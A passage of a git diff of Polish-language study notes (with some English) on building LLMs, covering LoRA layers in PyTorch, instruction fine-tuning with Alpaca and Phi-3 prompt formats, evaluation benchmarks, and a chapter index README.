1. Dzieje się tak, ponieważ zamiast obliczać pełną aktualizację wag warstwy (macierzy), przybliża ją do iloczynu 2 mniejszych macierzy, co redukuje aktualizację do obliczenia:\
|
||||
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (9).png" alt=""><figcaption></figcaption></figure>
|
||||
2. **Zachowuje oryginalne wagi modelu bez zmian**: LoRA pozwala na zachowanie oryginalnych wag modelu, a jedynie aktualizuje **nowe małe macierze** (A i B). To jest pomocne, ponieważ oznacza, że oryginalna wiedza modelu jest zachowana, a ty tylko dostosowujesz to, co jest konieczne.
|
||||
3. **Efektywne dostrajanie specyficzne dla zadania**: Kiedy chcesz dostosować model do **nowego zadania**, możesz po prostu wytrenować **małe macierze LoRA** (A i B), pozostawiając resztę modelu w niezmienionej formie. To jest **znacznie bardziej efektywne** niż ponowne trenowanie całego modelu.
|
||||
4. **Efektywność przechowywania**: Po dostrojeniu, zamiast zapisywać **cały nowy model** dla każdego zadania, musisz tylko przechowywać **macierze LoRA**, które są bardzo małe w porównaniu do całego modelu. To ułatwia dostosowanie modelu do wielu zadań bez użycia zbyt dużej ilości pamięci.
|
||||
|
||||
Aby zaimplementować LoraLayers zamiast liniowych podczas dostrajania, proponowany jest tutaj ten kod [https://github.com/rasbt/LLMs-from-scratch/blob/main/appendix-E/01\_main-chapter-code/appendix-E.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/appendix-E/01\_main-chapter-code/appendix-E.ipynb):
|
||||
```python
|
||||
import math
|
||||
|
||||
# Create the LoRA layer with the 2 matrices and the alpha
|
||||
class LoRALayer(torch.nn.Module):
|
||||
def __init__(self, in_dim, out_dim, rank, alpha):
|
||||
super().__init__()
|
||||
self.A = torch.nn.Parameter(torch.empty(in_dim, rank))
|
||||
torch.nn.init.kaiming_uniform_(self.A, a=math.sqrt(5)) # similar to standard weight initialization
|
||||
self.B = torch.nn.Parameter(torch.zeros(rank, out_dim))
|
||||
self.alpha = alpha
|
||||
|
||||
def forward(self, x):
|
||||
x = self.alpha * (x @ self.A @ self.B)
|
||||
return x
|
||||
|
||||
# Combine it with the linear layer
|
||||
class LinearWithLoRA(torch.nn.Module):
|
||||
def __init__(self, linear, rank, alpha):
|
||||
super().__init__()
|
||||
self.linear = linear
|
||||
self.lora = LoRALayer(
|
||||
linear.in_features, linear.out_features, rank, alpha
|
||||
)
|
||||
|
||||
def forward(self, x):
|
||||
return self.linear(x) + self.lora(x)
|
||||
|
||||
# Replace linear layers with LoRA ones
|
||||
def replace_linear_with_lora(model, rank, alpha):
|
||||
for name, module in model.named_children():
|
||||
if isinstance(module, torch.nn.Linear):
|
||||
# Replace the Linear layer with LinearWithLoRA
|
||||
setattr(model, name, LinearWithLoRA(module, rank, alpha))
|
||||
else:
|
||||
# Recursively apply the same function to child modules
|
||||
replace_linear_with_lora(module, rank, alpha)
|
||||
```
|
||||
## References
|
||||
|
||||
* [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
|
|
@ -0,0 +1,101 @@
|
|||
# 7.2. Dostosowywanie do przestrzegania instrukcji
|
||||
|
||||
{% hint style="success" %}
|
||||
Celem tej sekcji jest pokazanie, jak **dostosować już wstępnie wytrenowany model do przestrzegania instrukcji**, a nie tylko generowania tekstu, na przykład, odpowiadając na zadania jako chatbot.
|
||||
{% endhint %}
|
||||
|
||||
## Zbiór danych
|
||||
|
||||
Aby dostosować LLM do przestrzegania instrukcji, potrzebny jest zbiór danych z instrukcjami i odpowiedziami, aby dostosować LLM. Istnieją różne formaty do trenowania LLM w celu przestrzegania instrukcji, na przykład:
|
||||
|
||||
* Przykład stylu promptu Apply Alpaca:
|
||||
```csharp
|
||||
Below is an instruction that describes a task. Write a response that appropriately completes the request.
|
||||
|
||||
### Instruction:
|
||||
Calculate the area of a circle with a radius of 5 units.
|
||||
|
||||
### Response:
|
||||
The area of a circle is calculated using the formula \( A = \pi r^2 \). Plugging in the radius of 5 units:
|
||||
|
||||
\( A = \pi (5)^2 = \pi \times 25 = 25\pi \) square units.
|
||||
```
|
||||
* Przykład stylu promptu Phi-3:
|
||||
```vbnet
|
||||
<|User|>
|
||||
Can you explain what gravity is in simple terms?
|
||||
|
||||
<|Assistant|>
|
||||
Absolutely! Gravity is a force that pulls objects toward each other.
|
||||
```
|
||||
Szkolenie LLM z tego rodzaju zestawami danych zamiast tylko surowego tekstu pomaga LLM zrozumieć, że musi udzielać konkretnych odpowiedzi na zadawane pytania.
|
||||
|
||||
Dlatego jedną z pierwszych rzeczy do zrobienia z zestawem danych, który zawiera prośby i odpowiedzi, jest sformatowanie tych danych w pożądanym formacie promptu, na przykład:
|
||||
```python
|
||||
# Code from https://github.com/rasbt/LLMs-from-scratch/blob/main/ch07/01_main-chapter-code/ch07.ipynb
|
||||
def format_input(entry):
|
||||
instruction_text = (
|
||||
f"Below is an instruction that describes a task. "
|
||||
f"Write a response that appropriately completes the request."
|
||||
f"\n\n### Instruction:\n{entry['instruction']}"
|
||||
)
|
||||
|
||||
input_text = f"\n\n### Input:\n{entry['input']}" if entry["input"] else ""
|
||||
|
||||
return instruction_text + input_text
|
||||
|
||||
model_input = format_input(data[50])
|
||||
|
||||
desired_response = f"\n\n### Response:\n{data[50]['output']}"
|
||||
|
||||
print(model_input + desired_response)
|
||||
```
|
||||
Then, as always, it's needed to separate the dataset in sets for training, validation and testing.
|
||||
|
||||
## Batching & Data Loaders
|
||||
|
||||
Then, it's needed to batch all the inputs and expected outputs for the training. For this, it's needed to:
|
||||
|
||||
* Tokenize the texts
|
||||
* Pad all the samples to the same length (usually the length will be as big as the context length used to pre-train the LLM)
|
||||
* Create the expected tokens by shifting 1 the input in a custom collate function
|
||||
* Replace some padding tokens with -100 to exclude them from the training loss: After the first `endoftext` token, substitute all the other `endoftext` tokens by -100 (because using `cross_entropy(...,ignore_index=-100)` means that it'll ignore targets with -100)
|
||||
* \[Optional] Mask using -100 also all the tokens belonging to the question so the LLM learns only how to generate the answer. In the Apply Alpaca style this will mean to mask everything until `### Response:`
|
||||
|
||||
With this created, it's time to crate the data loaders for each dataset (training, validation and test).
|
||||
|
||||
## Load pre-trained LLM & Fine tune & Loss Checking
|
||||
|
||||
It's needed to load a pre-trained LLM to fine tune it. This was already discussed in other pages. Then, it's possible to use the previously used training function to fine tune the LLM.
|
||||
|
||||
During the training it's also possible to see how the training loss and validation loss varies during the epochs to see if the loss is getting reduced and if overfitting is ocurring.\
|
||||
Remember that overfitting occurs when the training loss is getting reduced but the validation loss is not being reduced or even increasing. To avoid this, the simplest thing to do is to stop the training at the epoch where this behaviour start.
|
||||
|
||||
## Response Quality
|
||||
|
||||
As this is not a classification fine-tune were it's possible to trust more the loss variations, it's also important to check the quality of the responses in the testing set. Therefore, it's recommended to gather the generated responses from all the testing sets and **check their quality manually** to see if there are wrong answers (note that it's possible for the LLM to create correctly the format and syntax of the response sentence but gives a completely wrong response. The loss variation won't reflect this behaviour).\
|
||||
Note that it's also possible to perform this review by passing the generated responses and the expected responses to **other LLMs and ask them to evaluate the responses**.
|
||||
|
||||
Other test to run to verify the quality of the responses:
|
||||
|
||||
1. **Measuring Massive Multitask Language Understanding (**[**MMLU**](https://arxiv.org/abs/2009.03300)**):** MMLU ocenia wiedzę modelu i umiejętności rozwiązywania problemów w 57 przedmiotach, w tym w naukach humanistycznych, naukach ścisłych i innych. Używa pytań wielokrotnego wyboru do oceny zrozumienia na różnych poziomach trudności, od podstawowego do zaawansowanego zawodowego.
|
||||
2. [**LMSYS Chatbot Arena**](https://arena.lmsys.org): Ta platforma pozwala użytkownikom porównywać odpowiedzi różnych chatbotów obok siebie. Użytkownicy wprowadzają zapytanie, a wiele chatbotów generuje odpowiedzi, które można bezpośrednio porównać.
|
||||
3. [**AlpacaEval**](https://github.com/tatsu-lab/alpaca\_eval)**:** AlpacaEval to zautomatyzowany framework oceny, w którym zaawansowany LLM, taki jak GPT-4, ocenia odpowiedzi innych modeli na różne zapytania.
|
||||
4. **General Language Understanding Evaluation (**[**GLUE**](https://gluebenchmark.com/)**):** GLUE to zbiór dziewięciu zadań z zakresu rozumienia języka naturalnego, w tym analizy sentymentu, implikacji tekstowej i odpowiadania na pytania.
|
||||
5. [**SuperGLUE**](https://super.gluebenchmark.com/)**:** Na bazie GLUE, SuperGLUE zawiera bardziej wymagające zadania zaprojektowane tak, aby były trudne dla obecnych modeli.
|
||||
6. **Beyond the Imitation Game Benchmark (**[**BIG-bench**](https://github.com/google/BIG-bench)**):** BIG-bench to duży benchmark z ponad 200 zadaniami, które testują umiejętności modelu w obszarach takich jak rozumowanie, tłumaczenie i odpowiadanie na pytania.
|
||||
7. **Holistic Evaluation of Language Models (**[**HELM**](https://crfm.stanford.edu/helm/lite/latest/)**):** HELM zapewnia kompleksową ocenę w różnych metrykach, takich jak dokładność, odporność i sprawiedliwość.
|
||||
8. [**OpenAI Evals**](https://github.com/openai/evals)**:** Otwarty framework oceny stworzony przez OpenAI, który pozwala na testowanie modeli AI na niestandardowych i standardowych zadaniach.
|
||||
9. [**HumanEval**](https://github.com/openai/human-eval)**:** Zbiór problemów programistycznych używanych do oceny zdolności generowania kodu przez modele językowe.
|
||||
10. **Stanford Question Answering Dataset (**[**SQuAD**](https://rajpurkar.github.io/SQuAD-explorer/)**):** SQuAD składa się z pytań dotyczących artykułów Wikipedii, w których modele muszą zrozumieć tekst, aby odpowiedzieć poprawnie.
|
||||
11. [**TriviaQA**](https://nlp.cs.washington.edu/triviaqa/)**:** Duży zbiór danych z pytaniami i odpowiedziami trivia, wraz z dokumentami dowodowymi.
|
||||
|
||||
and many many more
|
||||
|
||||
## Follow instructions fine-tuning code
|
||||
|
||||
You can find an example of the code to perform this fine tuning in [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch07/01\_main-chapter-code/gpt\_instruction\_finetuning.py](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch07/01\_main-chapter-code/gpt\_instruction\_finetuning.py)
|
||||
|
||||
## References
|
||||
|
||||
* [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
|
107
todo/llm-training-data-preparation/README.md
Normal file
|
@ -0,0 +1,107 @@
|
|||
# LLM Training - Data Preparation
|
||||
|
||||
**To są moje notatki z bardzo polecanej książki** [**https://www.manning.com/books/build-a-large-language-model-from-scratch**](https://www.manning.com/books/build-a-large-language-model-from-scratch) **z dodatkowymi informacjami.**
|
||||
|
||||
## Basic Information
|
||||
|
||||
Powinieneś zacząć od przeczytania tego posta, aby poznać podstawowe pojęcia, które powinieneś znać:
|
||||
|
||||
{% content-ref url="0.-basic-llm-concepts.md" %}
|
||||
[0.-basic-llm-concepts.md](0.-basic-llm-concepts.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## 1. Tokenization
|
||||
|
||||
{% hint style="success" %}
|
||||
Celem tej początkowej fazy jest bardzo proste: **Podzielić dane wejściowe na tokeny (id) w sposób, który ma sens**.
|
||||
{% endhint %}
|
||||
|
||||
{% content-ref url="1.-tokenizing.md" %}
|
||||
[1.-tokenizing.md](1.-tokenizing.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## 2. Data Sampling
|
||||
|
||||
{% hint style="success" %}
|
||||
Celem tej drugiej fazy jest bardzo proste: **Próbkować dane wejściowe i przygotować je do fazy treningowej, zazwyczaj dzieląc zbiór danych na zdania o określonej długości i generując również oczekiwaną odpowiedź.**
|
||||
{% endhint %}
|
||||
|
||||
{% content-ref url="2.-data-sampling.md" %}
|
||||
[2.-data-sampling.md](2.-data-sampling.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## 3. Token Embeddings
|
||||
|
||||
{% hint style="success" %}
|
||||
Celem tej trzeciej fazy jest bardzo proste: **Przypisać każdemu z poprzednich tokenów w słowniku wektor o pożądanych wymiarach do trenowania modelu.** Każde słowo w słowniku będzie punktem w przestrzeni o X wymiarach.\
|
||||
Zauważ, że początkowo pozycja każdego słowa w przestrzeni jest po prostu inicjowana "losowo", a te pozycje są parametrami, które można trenować (będą poprawiane podczas treningu).
|
||||
|
||||
Ponadto, podczas osadzania tokenów **tworzona jest kolejna warstwa osadzeń**, która reprezentuje (w tym przypadku) **absolutną pozycję słowa w zdaniu treningowym**. W ten sposób słowo w różnych pozycjach w zdaniu będzie miało różne reprezentacje (znaczenia).
|
||||
{% endhint %}
|
||||
|
||||
{% content-ref url="3.-token-embeddings.md" %}
|
||||
[3.-token-embeddings.md](3.-token-embeddings.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## 4. Attention Mechanisms
|
||||
|
||||
{% hint style="success" %}
|
||||
Celem tej czwartej fazy jest bardzo proste: **Zastosować pewne mechanizmy uwagi**. Będą to liczne **powtarzające się warstwy**, które będą **uchwytywać relację słowa w słowniku z jego sąsiadami w bieżącym zdaniu używanym do trenowania LLM**.\
|
||||
Do tego celu używa się wielu warstw, więc wiele parametrów do trenowania będzie uchwytywać te informacje.
|
||||
{% endhint %}
|
||||
|
||||
{% content-ref url="4.-attention-mechanisms.md" %}
|
||||
[4.-attention-mechanisms.md](4.-attention-mechanisms.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## 5. LLM Architecture
|
||||
|
||||
{% hint style="success" %}
|
||||
Celem tej piątej fazy jest bardzo proste: **Opracować architekturę pełnego LLM**. Połączyć wszystko, zastosować wszystkie warstwy i stworzyć wszystkie funkcje do generowania tekstu lub przekształcania tekstu na ID i odwrotnie.
|
||||
|
||||
Ta architektura będzie używana zarówno do trenowania, jak i przewidywania tekstu po jego wytrenowaniu.
|
||||
{% endhint %}
|
||||
|
||||
{% content-ref url="5.-llm-architecture.md" %}
|
||||
[5.-llm-architecture.md](5.-llm-architecture.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## 6. Pre-training & Loading models
|
||||
|
||||
{% hint style="success" %}
|
||||
Celem tej szóstej fazy jest bardzo proste: **Wytrenować model od podstaw**. W tym celu zostanie użyta wcześniejsza architektura LLM z pewnymi pętlami przechodzącymi przez zbiory danych, używając zdefiniowanych funkcji straty i optymalizatora do trenowania wszystkich parametrów modelu.
|
||||
{% endhint %}
|
||||
|
||||
{% content-ref url="6.-pre-training-and-loading-models.md" %}
|
||||
[6.-pre-training-and-loading-models.md](6.-pre-training-and-loading-models.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## 7.0. LoRA Improvements in fine-tuning
|
||||
|
||||
{% hint style="success" %}
|
||||
Użycie **LoRA znacznie redukuje obliczenia** potrzebne do **dostosowania** już wytrenowanych modeli.
|
||||
{% endhint %}
|
||||
|
||||
{% content-ref url="7.0.-lora-improvements-in-fine-tuning.md" %}
|
||||
[7.0.-lora-improvements-in-fine-tuning.md](7.0.-lora-improvements-in-fine-tuning.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## 7.1. Fine-Tuning for Classification
|
||||
|
||||
{% hint style="success" %}
|
||||
Celem tej sekcji jest pokazanie, jak dostosować już wytrenowany model, aby zamiast generować nowy tekst, LLM podałby **prawdopodobieństwa, że dany tekst zostanie zaklasyfikowany w każdej z podanych kategorii** (na przykład, czy tekst jest spamem, czy nie).
|
||||
{% endhint %}
|
||||
|
||||
{% content-ref url="7.1.-fine-tuning-for-classification.md" %}
|
||||
[7.1.-fine-tuning-for-classification.md](7.1.-fine-tuning-for-classification.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## 7.2. Fine-Tuning to follow instructions
|
||||
|
||||
{% hint style="success" %}
|
||||
Celem tej sekcji jest pokazanie, jak **dostosować już wytrenowany model do przestrzegania instrukcji** zamiast tylko generować tekst, na przykład, odpowiadając na zadania jako chatbot.
|
||||
{% endhint %}
|
||||
|
||||
{% content-ref url="7.2.-fine-tuning-to-follow-instructions.md" %}
|
||||
[7.2.-fine-tuning-to-follow-instructions.md](7.2.-fine-tuning-to-follow-instructions.md)
|
||||
{% endcontent-ref %}
|